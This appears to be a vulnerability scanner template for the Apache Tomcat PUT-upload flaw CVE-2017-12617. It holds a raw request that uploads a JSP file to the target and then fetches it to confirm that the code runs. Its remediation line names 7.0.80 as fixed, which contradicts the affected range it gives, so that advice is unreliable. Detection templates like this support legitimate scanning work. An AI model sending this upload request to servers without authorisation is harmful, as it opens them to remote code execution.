-
Notifications
You must be signed in to change notification settings - Fork 35
/
CVE-2017-12617.yaml
55 lines (49 loc) · 1.97 KB
/
CVE-2017-12617.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
id: "CVE-2017-12617"
info:
name: Apache Tomcat - Remote Code Execution
author: pussycat0x
severity: high
description: |
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
remediation: |
Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability.
reference:
- https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
- https://github.com/cyberheartmi9/CVE-2017-12617
- https://www.exploit-db.com/exploits/43008
- https://nvd.nist.gov/vuln/detail/CVE-2017-12617
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: "CVE-2017-12617"
cwe-id: CWE-434
epss-score: 0.97494
epss-percentile: 0.9997
cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: apache
product: tomcat
shodan-query: html:"Apache Tomcat"
tags: cve,cve2017,tomcat,apache,rce,kev,intrusive
http:
- raw:
- |
PUT /{{randstr}}.jsp/ HTTP/1.1
Host: {{Hostname}}
<% out.println("CVE-2017-12617");%>
- |
GET /{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "CVE-2017-12617"
- type: status
status:
- 200
# digest: 4a0a00473045022040f8920ad27226cd8e858276b375ab70cb7d9b443f941249a2da631eb1ca6dd6022100b5644f9598fe16fc8592176fa9203899ce9676ed11871e7587f93d87e03c04b9:922c64590222798bb761d5b6d8e72950